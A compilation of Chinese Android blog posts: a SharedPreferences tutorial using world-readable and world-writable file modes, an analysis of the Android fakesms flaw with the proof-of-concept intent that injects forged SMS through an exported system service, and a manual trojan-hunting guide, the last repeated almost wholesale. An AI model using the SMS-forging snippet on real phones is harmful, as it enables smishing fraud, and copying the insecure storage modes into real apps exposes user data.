android:text=”@string/name”
android:textSize=”20px”
android:id=”@+id/nameLable” />
<EditText android:layout_width=”80px”
android:layout_height=”wrap_content”
android:layout_toRightOf=”@id/nameLable”
android:layout_alignTop=”@id/nameLable”
android:layout_marginLeft=”10px”
android:id=”@+id/name” />
</RelativeLayout>
<RelativeLayout
xmlns:android=”http://schemas.android.com/apk/res/android”
android:layout_width=”wrap_content”
android:layout_height=”wrap_content”>
<TextView android:layout_width=”wrap_content”
android:layout_height=”wrap_content”
android:textSize=”20px”
android:text=”@string/age”
android:id=”@+id/ageLable” />
<EditText android:layout_width=”80px”
android:layout_height=”wrap_content”
android:layout_toRightOf=”@id/ageLable”
android:layout_alignTop=”@id/ageLable”
android:layout_marginLeft=”10px”
android:id=”@+id/age” />
</RelativeLayout>
<RelativeLayout
xmlns:android=”http://schemas.android.com/apk/res/android”
android:layout_width=”wrap_content”
android:layout_height=”wrap_content”>
<Button android:layout_width=”wrap_content”
android:layout_height=”wrap_content”
android:text=”@string/button”
android:id=”@+id/button” />
<Button android:layout_width=”wrap_content”
android:layout_height=”wrap_content”
android:text=”@string/showButton”
android:layout_toRightOf=”@id/button”
android:layout_alignTop=”@id/button”
android:id=”@+id/showButton” />
</RelativeLayout>
<TextView android:layout_width=”fill_parent”
android:layout_height=”wrap_content”
android:textSize=”20px”
android:id=”@+id/showText” />
</LinearLayout>
复制代码
复制代码
package com.ljq.activity;

import android.app.Activity;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class SpActivity extends Activity {
private EditText nameText;
private EditText ageText;
private TextView resultText;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

nameText = (EditText)this.findViewById(R.id.name);
ageText = (EditText)this.findViewById(R.id.age);
resultText = (TextView)this.findViewById(R.id.showText);

Button button = (Button)this.findViewById(R.id.button);
Button showButton = (Button)this.findViewById(R.id.showButton);
button.setOnClickListener(listener);
showButton.setOnClickListener(listener);

// 回显
SharedPreferences sharedPreferences=getSharedPreferences(“ljq123”,
Context.MODE_WORLD_READABLE+Context.MODE_WORLD_WRITEABLE);
String nameValue = sharedPreferences.getString(“name”, “”);
int ageValue = sharedPreferences.getInt(“age”, 1);
nameText.setText(nameValue);
ageText.setText(String.valueOf(ageValue));
}

private View.OnClickListener listener = new View.OnClickListener(){
public void onClick(View v) {
Button button = (Button)v;
//ljq123文件存放在/data/data/<package name>/shared_prefs目录下
SharedPreferences sharedPreferences=getSharedPreferences(“ljq123”,
Context.MODE_WORLD_READABLE+Context.MODE_WORLD_WRITEABLE);
switch (button.getId()) {
case R.id.button:
String name = nameText.getText().toString();
int age = Integer.parseInt(ageText.getText().toString());
Editor editor = sharedPreferences.edit(); //获取编辑器
editor.putString(“name”, name);
editor.putInt(“age”, age);
editor.commit();//提交修改
Toast.makeText(SpActivity.this, “保存成功”, Toast.LENGTH_LONG).show();
break;
case R.id.showButton:
String nameValue = sharedPreferences.getString(“name”, “”);
int ageValue = sharedPreferences.getInt(“age”, 1);
resultText.setText(“姓名:” + nameValue + “,年龄:” + ageValue);
break;
}
}
};
}

复制代码

运行结果

如何访问其他应用中的Preference?

复制代码
package com.ljq.sp;

import java.io.File;
import java.io.FileInputStream;

import android.content.Context;
import android.content.SharedPreferences;
import android.test.AndroidTestCase;
import android.util.Log;

public class AccessSharePreferenceTest extends AndroidTestCase{
private static final String TAG = “AccessSharePreferenceTest”;

/**
* 访问SharePreference的方式一,注:权限要足够
* @throws Exception
*/
public void testAccessPreference() throws Exception{
String path = “/data/data/com.ljq.activity/shared_prefs/ljq123.xml”;
File file = new File(path);
FileInputStream inputStream = new FileInputStream(file);
//获取的是一个xml字符串
String data = new FileService().read(inputStream);
Log.i(TAG, data);
}

/**
* 访问SharePreference的方式二,注:权限要足够
* @throws Exception
*/
public void testAccessPreference2() throws Exception{
Context context = this.getContext().createPackageContext(“com.ljq.activity”,
Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences(“ljq123”,
Context.MODE_WORLD_READABLE+Context.MODE_WORLD_WRITEABLE);
String name = sharedPreferences.getString(“name”, “”);
int age = sharedPreferences.getInt(“age”, 1);
Log.i(TAG, name + ” : ” +age);
}
}

复制代码

对Android最新fakesms漏洞的分析 [原创精品]

from: http://www.freebuf.com/articles/terminal/6169.html

近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app没有write_sms权限下可以伪造任意发件人的任意短信。

影响平台可上至Android 1.6下至4.1。由于很多以android2.3为主的手机已经不能再升级,此漏洞的危害不可小视。一个攻击场景是malicious app首先向ISP发送一条申请业务的短信,然后伪造ISP发送一条用户需要确认的短信。当用户确认时就中招了。

张截图:

  

首先感谢各位大神的贡献。在github上给出poc后,我根据代码进行了一些分析。前面构造pdu的代码非常重要,但不是本文分析的重点。此次分析的POC代码在于

 

Intent intent = new Intent();
intent.setClassName("com.android.mms",
                "com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);

 

这里启动了com.android.mms.transaction.smsreceiverService,这个service的代码在这里. 当service启动时,调用链如下:

 

onStartCommand->mServiceHandler.sendMessage(msg);

 

消息进入ServiceHandler的消息队列中,在handleMessage中得到处理。由于Action是SMS_RECEIVED,所以进入handleSmsReceived函数:

 

public void handleMessage(Message msg) {
159            int serviceId = msg.arg1;
160            Intent intent = (Intent)msg.obj;
161            if (intent != null) {
162                String action = intent.getAction();
163
164                if (MESSAGE_SENT_ACTION.equals(intent.getAction())) {
165                    handleSmsSent(intent);
166                } else if (SMS_RECEIVED_ACTION.equals(action)) {
167                    handleSmsReceived(intent);
168                } else if (ACTION_BOOT_COMPLETED.equals(action)) {
169                    handleBootCompleted();
170                } else if (TelephonyIntents.ACTION_SERVICE_STATE_CHANGED.equals(action)) {
171                    handleServiceStateChanged(intent);
172                }
173            }
174            // NOTE: We MUST not call stopSelf() directly, since we need to
175            // make sure the wake lock acquired by AlertReceiver is released.
176            SmsReceiver.finishStartingService(SmsReceiverService.this, serviceId);
177        }
178    }

 

handleSmsReceived

 

private void handleSmsReceived(Intent intent) {
279        SmsMessage[] msgs = Intents.getMessagesFromIntent(intent);
280        Uri messageUri = insertMessage(this, msgs);
281
282        if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
283            SmsMessage sms = msgs[0];
284            Log.v(TAG, "handleSmsReceived" + (sms.isReplace() ? "(replace)" : "") +
285                    " messageUri: " + messageUri +
286                    ", address: " + sms.getOriginatingAddress() +
287                    ", body: " + sms.getMessageBody());
288        }
289
290        if (messageUri != null) {
291            MessagingNotification.updateNewMessageIndicator(this, true);
292        }
293    }

 

在291段用户得到通知,即一般大家看到的toast和短信提示框,再来看insertMessage,

 

private Uri insertMessage(Context context, SmsMessage[] msgs) {
331        // Build the helper classes to parse the messages.
332        SmsMessage sms = msgs[0];
333
334        if (sms.getMessageClass() == SmsMessage.MessageClass.CLASS_0) {
335            displayClassZeroMessage(context, sms);
336            return null;
337        } else if (sms.isReplace()) {
338            return replaceMessage(context, msgs);
339        } else {
340            return storeMessage(context, msgs);
341        }
342    }

 

其中replaceMessage最后调用storeMessage, storeMessage负责将短信存入数据库。这样一个fake message就成功以假乱真。

那为什么会出现这样的问题?对/system/app/Mms.apk进行反编译,获得AndroidManifest.xml,在其中可以看到:

 

<application android:label="@string/app_label" android:icon="@drawable/ic_launcher_smsmms" android:name="MmsApp" android:taskAffinity="android.task.mms" android:allowTaskReparenting="true">
<service android:name=".transaction.TransactionService" android:exported="true" />
<service android:name=".transaction.SmsReceiverService" android:exported="true" />
<activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_label" android:name=".ui.MmsTabActivity" android:launchMode="singleTop" android:configChanges="keyboardHidden|orientation" android:windowSoftInputMode="stateAlwaysHidden|adjustPan">

 

SmsReceiverService被export出去后没有使用permission声明signature或signatureOrSystem或Dangerous,甚至也没有Normal声明。在代码中也没有显式调用checkPermission,这违反了android开发规范[1],造成了事实上的permission-redelegation漏洞。由于Mms属于系统程序,存在于所有android-platform中,后果更加严重。

以上是对android的最新短信漏洞做的分析。由于水平所限,如果有所疏误请不吝赐教。

浅谈android手机木马手工查杀

非常好的一篇文章,对于Android App的网络行为分析有很深刻的见解!忍不住要转啊

原文链接: http://www.freebuf.com/articles/wireless/11175.html

作者:南拳Daddy

版权所有,转载请注明作者以及来源FreebuF.COM,违者必究。

本人关注移动网络安全将近3年了,写这篇文章主要是想科普下手机木马查杀相关的一些技术,最近在网上看了腾讯移动安全实验室安全快讯360手机卫士安全播报,感觉移动终端的安全性一年比一年严峻。本人这些年主要是做网络攻防,近几年由原来的PC端转向移动互联终端。在APT攻击方面研究的同时也研究防御方面的技术。

下面就分享下最近的一些研究成果。

这篇文章主要是浅谈,所以会从简单方面开始讲起。

关于手机木马查杀,有些人会说安装手机杀毒软件不就解决了吗? 其实不然。因为手机和PC不一样,手机反木马技术没有PC端那么强。

就算你把目前市面上的所有手机杀毒软件都安装到手机里,也不一定查杀出来。

下面就开始正式讲解手工查杀的方法。

第一种方法:用Android Debug Bridge(简称adb)调试工具补助查杀,

首先打开android手机的调试模式,然后到网上下载adb.exe,AdbWinApi.dll,AdbWinUsbApi.dll这三个文件,放在 电脑磁盘任意目录下,用数据线把手机连上电脑。然后通过命令提示符用pushd或者cd命令跳转到刚才那三个文件所在目录。执行adb
shell命令连入手机shell终端。之后相当于在linux下的shell一样操作了。如果你是搞android开发的,安装eclipse和 android SDK后就不用去下载刚才那三个文件了,在sdk\platform-tools这个目录下就有。重点是后面,通过执行netstat命令查看当前网络连 接(不需要root权限)。如下图:

 

能看到网络连接信息,但是却不能看到进程pid以及进程对应的包名。这样想要找到恶意程序或木马程序是很困难的。

下面介绍两个很有用的命令:

 

cat /proc/net/tcp  (不需要root权限)
cat /proc/net/tcp6  (不需要root权限)

 

/proc/net/tcp文件,这里记录的是ipv4下所有tcp连接的情况

/proc/net/tcp6文件,这里记录的是ipv6下所有tcp连接的情况

执行cat
/proc/net/tcp6命令后返回的记录格式如下:

 

local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode

0000000000000000FFFF00006801A8C0:8018 0000000000000000FFFF00007095FB3A:0050 08 00000000:00000001 00:00000000 00000000 10136        0 15335 1 d50216a0 37 4 6 5 -1

 

 

最主要的,就是local_address本地地址:端口、remote_address远程地址:端口、st连接状态,这里重点看下uid信息,下面会用到。截图如下:

注1:返回的IP地址端口和状态码都是用的16进制,比如HTTP的80端口记录为0050。

注2:状态码对应如下

 

00  "ERROR_STATUS",
01  "TCP_ESTABLISHED",
02  "TCP_SYN_SENT",
03  "TCP_SYN_RECV",
04  "TCP_FIN_WAIT1",
05  "TCP_FIN_WAIT2",
06  "TCP_TIME_WAIT",
07  "TCP_CLOSE",
08  "TCP_CLOSE_WAIT",
09  "TCP_LAST_ACK",
0A  "TCP_LISTEN",
0B  "TCP_CLOSING",

下面以腾讯手机管家为例,通过执行dumpsys
activity|grep “10136″命令来查找uid
10136对应的Pid和应用程序包名,如下图:(注:10136是打开腾讯手机管家后重新执行cat
/proc/net/tcp6命令获得的。)

 

看下包名com.tencent.qqpimsecure是不是腾讯手机管家,在手机的设置->应用程序->正在运行的服务中查找(这里以android
2.3.7为例),如下图:

由上面的执行结果找到腾讯手机管家访问的IP地址和端口是:

7095FB3A:0050  (原格式是:
0000000000000000FFFF00007095FB3A:0050把前面的0000000000000000FFFF0000这段删掉.)

转换成十进制就是: 58.251.149.112:80

和执行netstat命令获取的IP地址是一样的,如下图:

 

这里整理下思路:通过执行cat
/proc/net/tcp6或cat /proc/net/tcp找到联网程序的uid
,然后

通过uid找到对应的应用程序pid和包名,最后判断应用是不是可疑,如果可疑就卸载掉。

如上面的腾讯手机管理是不可疑的,所以接着查找下一个,依次类推,直到找到恶意程序或木马程序为止。在查找过程中不要人为打开联网应用程序(如UC浏览 器,QQ浏览器等等。),这样会增加手工查杀的难度。而且恶意程序或病毒程序是开机自动打开的,当然也有少部分是随着其他应用启动之后才触发的。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

当然在这里还得详细说明下,刚才通过可疑网络联接找到对应的应用程序包名,然后怎么判断程序是否可疑呢?因为很多程序都要联网的,大家可以这样做,找到包 名后,可以到设置->应用程序->管理应用程序,在列表里找到对应的应用,然后点击进去查看应用的权限列表。

通过权限就能判断应用的可疑性了。下面截一张图,大家可以参考下。

第二种方法:通过耗电统计,找到耗电比较高的应用,然后查看应用的权限列表,进而判断程序是否可疑,这种方法比较简单,我就不详细介绍了。

第三种方法:通过查看logcat日志找到可疑应用程序。我不推荐用adb shell logcat来查看,因为里面的信息太多,而且查到可疑日志不方面。这里推荐大家安装一款第三方应用,叫做系统系统。打开系统信息这款应用,在基本信息下 面点击查看日志,这时弹出选择对话框,选择logcat选项点击进去就可以查看logcat日志了。如下面:

 

里面可以找到应用的服务名,以及对应的进程ID。这里特别是注意红色部分的警告信息。

大多数手机木马都会请求网络连接,在请求的同时会抛出异常,因为木马客户端并不是实时处于监听状态,这时服务端反弹连接会抛出异常。通过异常信息就能找到木马程序的进程ID
,进而找到程序的安装路径,并卸载掉。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

第四种方法:通过抓取网络通讯数据包分析手机应用到底做了什么。前面的三种方法并不能100%的判断某个应用是否是恶意程序或者木马。

所以第四种方法来了。第四种方法是最复杂的,并不适合所有人,只适合手机安全发骚友。

抓取手机网络通讯数据包分三步走:

第一步:在PC上运行ADVsock2pipe,输入如下命令

 

ADVsock2pipe.exe -pipe=wireshark -port 9000

 

 

第二步:在PC上运行wireshark,设置caption-Options

 

Capture | Options, Interface: Local, \\.\pipe\wireshark

 

 

第三步:adb shell

 

# tcpdump -nn -w - -U -s 0 "not port 9000" | nc 192.168.1.101 9000

-w:指定将监听到的数据包写入文件中保存
-nn:指定将每个监听到的数据包中的域名转换成IP、端口从应用名称转换成端口号后显示
-s:指定要监听数据包的长度

 

192.168.1.101 这个IP地址是你本机的IP。

至于这个9000端口可以随便改,只要不被系统占用就可以。

还有一个重要前提条件是手机需要root权限。

 

之后在wireshark上面就可以看到通讯数据在不停的增加了。

通过上面的第一种手工查杀方法,大家应该知道怎么找到可疑连接的IP地址和端口了。

然后就是过滤可疑连接的IP地址和端口。

过滤语法是:ip.dst ==可疑IP
and tcp.dstport ==端口

 

这里跟大家介绍一种和第三种方法达到异曲同工之妙的语法。

tcp.flags.syn == 0×02    显示包含TCP
SYN标志的封包。

TCP网络连接要完成三次握手,这个地球人都知道的,是吧。

 

过滤出TCP SYN标志的封包后,在wireshark上面就能找到可疑连接的IP地址了。

结合第一种方法就能找到可疑IP地址对应的应用程序ID和包名。然后就是查看权限列表进一步判断,之后就是选择是否卸载应用了。

 

最后再来回答上面提到的抓包分析手机应用到底做了什么的问题。

方法很简单,刚才用ip.dst
==可疑IP and tcp.dstport ==端口

这个语法过滤出可疑信息,在上面鼠标右键,选择follow
TCP stream

就可以跟踪指定TCP流的包。如下图:

 

数据包是加密的。怎么去解密就留给大家做课后练习了。

 

最后再来补充说明下手机安全软件为什么查杀不了,非得要手工查杀不可呢?

看下下面的分析就知道原因了。

假设你的手机不小心被植入了一款手机木马程序。这个时候你安装了一款手机安全软件,比如腾讯手机管家,360手机卫士,LBE安全大师,金山手机卫士等等等。

然后你每天更新手机杀软病毒库并扫描。可是呢?每次的结果都是您的手机很安全,可以放心使用。如下图:

         

上面是腾讯手机管家截图                                                 上面是LBE安全大师截图

 

        

上面是金山手机卫士截图                                                  上面是金山手机卫士截图

 

所以杀软都是最新版本最新病毒库。

通过几款安全软件的扫描查杀并没有找到真正的木马程序。而通过刚才的四种手工查杀,真正的手机木马其实已经不难找到了。

最后的最后让大家欣赏下这款手机远控的庐山真面目:

作者:南拳Daddy

版权所有,转载请注明作者以及来源FreebuF.COM,违者必究。 

本人关注移动网络安全将近3年了,写这篇文章主要是想科普下手机木马查杀相关的一些技术,最近在网上看了腾讯移动安全实验室安全快讯360手机卫士安全播报,感觉移动终端的安全性一年比一年严峻。本人这些年主要是做网络攻防,近几年由原来的PC端转向移动互联终端。在APT攻击方面研究的同时也研究防御方面的技术。

下面就分享下最近的一些研究成果。 

这篇文章主要是浅谈,所以会从简单方面开始讲起。

关于手机木马查杀,有些人会说安装手机杀毒软件不就解决了吗? 其实不然。因为手机和PC不一样,手机反木马技术没有PC端那么强。

就算你把目前市面上的所有手机杀毒软件都安装到手机里,也不一定查杀出来。

下面就开始正式讲解手工查杀的方法。

第一种方法:用Android Debug Bridge(简称adb)调试工具补助查杀,

首先打开android手机的调试模式,然后到网上下载adb.exe,AdbWinApi.dll,AdbWinUsbApi.dll这三个文件,放在 电脑磁盘任意目录下,用数据线把手机连上电脑。然后通过命令提示符用pushd或者cd命令跳转到刚才那三个文件所在目录。执行adb
shell命令连入手机shell终端。之后相当于在linux下的shell一样操作了。如果你是搞android开发的,安装eclipse和 android SDK后就不用去下载刚才那三个文件了,在sdk\platform-tools这个目录下就有。重点是后面,通过执行netstat命令查看当前网络连 接(不需要root权限)。如下图:

 

能看到网络连接信息,但是却不能看到进程pid以及进程对应的包名。这样想要找到恶意程序或木马程序是很困难的。

下面介绍两个很有用的命令:

 

cat /proc/net/tcp  (不需要root权限)
cat /proc/net/tcp6  (不需要root权限)

 

/proc/net/tcp文件,这里记录的是ipv4下所有tcp连接的情况

/proc/net/tcp6文件,这里记录的是ipv6下所有tcp连接的情况

执行cat
/proc/net/tcp6命令后返回的记录格式如下:

 

local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode

0000000000000000FFFF00006801A8C0:8018 0000000000000000FFFF00007095FB3A:0050 08 00000000:00000001 00:00000000 00000000 10136        0 15335 1 d50216a0 37 4 6 5 -1

 

 

最主要的,就是local_address本地地址:端口、remote_address远程地址:端口、st连接状态,这里重点看下uid信息,下面会用到。截图如下:

注1:返回的IP地址端口和状态码都是用的16进制,比如HTTP的80端口记录为0050。

注2:状态码对应如下

 

00  "ERROR_STATUS",
01  "TCP_ESTABLISHED",
02  "TCP_SYN_SENT",
03  "TCP_SYN_RECV",
04  "TCP_FIN_WAIT1",
05  "TCP_FIN_WAIT2",
06  "TCP_TIME_WAIT",
07  "TCP_CLOSE",
08  "TCP_CLOSE_WAIT",
09  "TCP_LAST_ACK",
0A  "TCP_LISTEN",
0B  "TCP_CLOSING",

下面以腾讯手机管家为例,通过执行dumpsys
activity|grep “10136″命令来查找uid
10136对应的Pid和应用程序包名,如下图:(注:10136是打开腾讯手机管家后重新执行cat
/proc/net/tcp6命令获得的。)

 

看下包名com.tencent.qqpimsecure是不是腾讯手机管家,在手机的设置->应用程序->正在运行的服务中查找(这里以android
2.3.7为例),如下图:

由上面的执行结果找到腾讯手机管家访问的IP地址和端口是:

7095FB3A:0050  (原格式是:
0000000000000000FFFF00007095FB3A:0050把前面的0000000000000000FFFF0000这段删掉.)

转换成十进制就是: 58.251.149.112:80

和执行netstat命令获取的IP地址是一样的,如下图:

 

这里整理下思路:通过执行cat
/proc/net/tcp6或cat /proc/net/tcp找到联网程序的uid
,然后

通过uid找到对应的应用程序pid和包名,最后判断应用是不是可疑,如果可疑就卸载掉。

如上面的腾讯手机管理是不可疑的,所以接着查找下一个,依次类推,直到找到恶意程序或木马程序为止。在查找过程中不要人为打开联网应用程序(如UC浏览 器,QQ浏览器等等。),这样会增加手工查杀的难度。而且恶意程序或病毒程序是开机自动打开的,当然也有少部分是随着其他应用启动之后才触发的。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

当然在这里还得详细说明下,刚才通过可疑网络联接找到对应的应用程序包名,然后怎么判断程序是否可疑呢?因为很多程序都要联网的,大家可以这样做,找到包 名后,可以到设置->应用程序->管理应用程序,在列表里找到对应的应用,然后点击进去查看应用的权限列表。

通过权限就能判断应用的可疑性了。下面截一张图,大家可以参考下。

第二种方法:通过耗电统计,找到耗电比较高的应用,然后查看应用的权限列表,进而判断程序是否可疑,这种方法比较简单,我就不详细介绍了。

第三种方法:通过查看logcat日志找到可疑应用程序。我不推荐用adb shell logcat来查看,因为里面的信息太多,而且查到可疑日志不方面。这里推荐大家安装一款第三方应用,叫做系统系统。打开系统信息这款应用,在基本信息下 面点击查看日志,这时弹出选择对话框,选择logcat选项点击进去就可以查看logcat日志了。如下面:

 

里面可以找到应用的服务名,以及对应的进程ID。这里特别是注意红色部分的警告信息。

大多数手机木马都会请求网络连接,在请求的同时会抛出异常,因为木马客户端并不是实时处于监听状态,这时服务端反弹连接会抛出异常。通过异常信息就能找到木马程序的进程ID
,进而找到程序的安装路径,并卸载掉。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

第四种方法:通过抓取网络通讯数据包分析手机应用到底做了什么。前面的三种方法并不能100%的判断某个应用是否是恶意程序或者木马。

所以第四种方法来了。第四种方法是最复杂的,并不适合所有人,只适合手机安全发骚友。

抓取手机网络通讯数据包分三步走:

第一步:在PC上运行ADVsock2pipe,输入如下命令

 

ADVsock2pipe.exe -pipe=wireshark -port 9000

 

 

第二步:在PC上运行wireshark,设置caption-Options

 

Capture|Options,Interface:Local, \\.\pipe\wireshark

 

 

第三步:adb shell

 

# tcpdump -nn -w - -U -s 0 "not port 9000" | nc 192.168.1.101 9000-w:指定将监听到的数据包写入文件中保存-nn:指定将每个监听到的数据包中的域名转换成IP、端口从应用名称转换成端口号后显示-s:指定要监听数据包的长度

 

192.168.1.101 这个IP地址是你本机的IP。

至于这个9000端口可以随便改,只要不被系统占用就可以。

还有一个重要前提条件是手机需要root权限。

 

之后在wireshark上面就可以看到通讯数据在不停的增加了。

通过上面的第一种手工查杀方法,大家应该知道怎么找到可疑连接的IP地址和端口了。

然后就是过滤可疑连接的IP地址和端口。

过滤语法是:ip.dst ==可疑IP
and tcp.dstport ==端口

 

这里跟大家介绍一种和第三种方法达到异曲同工之妙的语法。

tcp.flags.syn == 0×02    显示包含TCP
SYN标志的封包。

TCP网络连接要完成三次握手,这个地球人都知道的,是吧。

 

过滤出TCP SYN标志的封包后,在wireshark上面就能找到可疑连接的IP地址了。

结合第一种方法就能找到可疑IP地址对应的应用程序ID和包名。然后就是查看权限列表进一步判断,之后就是选择是否卸载应用了。

 

最后再来回答上面提到的抓包分析手机应用到底做了什么的问题。

方法很简单,刚才用ip.dst
==可疑IP and tcp.dstport ==端口

这个语法过滤出可疑信息,在上面鼠标右键,选择follow
TCP stream

就可以跟踪指定TCP流的包。如下图:

 

数据包是加密的。怎么去解密就留给大家做课后练习了。

 

最后再来补充说明下手机安全软件为什么查杀不了,非得要手工查杀不可呢?

看下下面的分析就知道原因了。

假设你的手机不小心被植入了一款手机木马程序。这个时候你安装了一款手机安全软件,比如腾讯手机管家,360手机卫士,LBE安全大师,金山手机卫士等等等。

然后你每天更新手机杀软病毒库并扫描。可是呢?每次的结果都是您的手机很安全,可以放心使用。如下图:

         

上面是腾讯手机管家截图                                                 上面是LBE安全大师截图

 

        

上面是金山手机卫士截图                                                  上面是金山手机卫士截图

 

所以杀软都是最新版本最新病毒库。

通过几款安全软件的扫描查杀并没有找到真正的木马程序。而通过刚才的四种手工查杀,真正的手机木马其实已经不难找到了。

最后的最后让大家欣赏下这款手机远控的庐山真面目:

我在这里不是黄婆卖瓜自卖自夸。只是想让所有人提高安全意识,现在的安全形势有多严峻,不言而喻。

我们通过上面的分析还可以得出一个结论:

就是市面上的主流手机安全软件并不靠谱,全中国还有多少手机木马,什么杜蕾斯手机远控,爵士帮手机远控,都还没有浮出水面,是吧?元芳,你怎么看?

写于2013年7月14日

我在这里不是黄婆卖瓜自卖自夸。只是想让所有人提高安全意识,现在的安全形势有多严峻,不言而喻。

我们通过上面的分析还可以得出一个结论:

就是市面上的主流手机安全软件并不靠谱,全中国还有多少手机木马,什么杜蕾斯手机远控,爵士帮手机远控,都还没有浮出水面,是吧?元芳,你怎么看?

写于2013年7月14日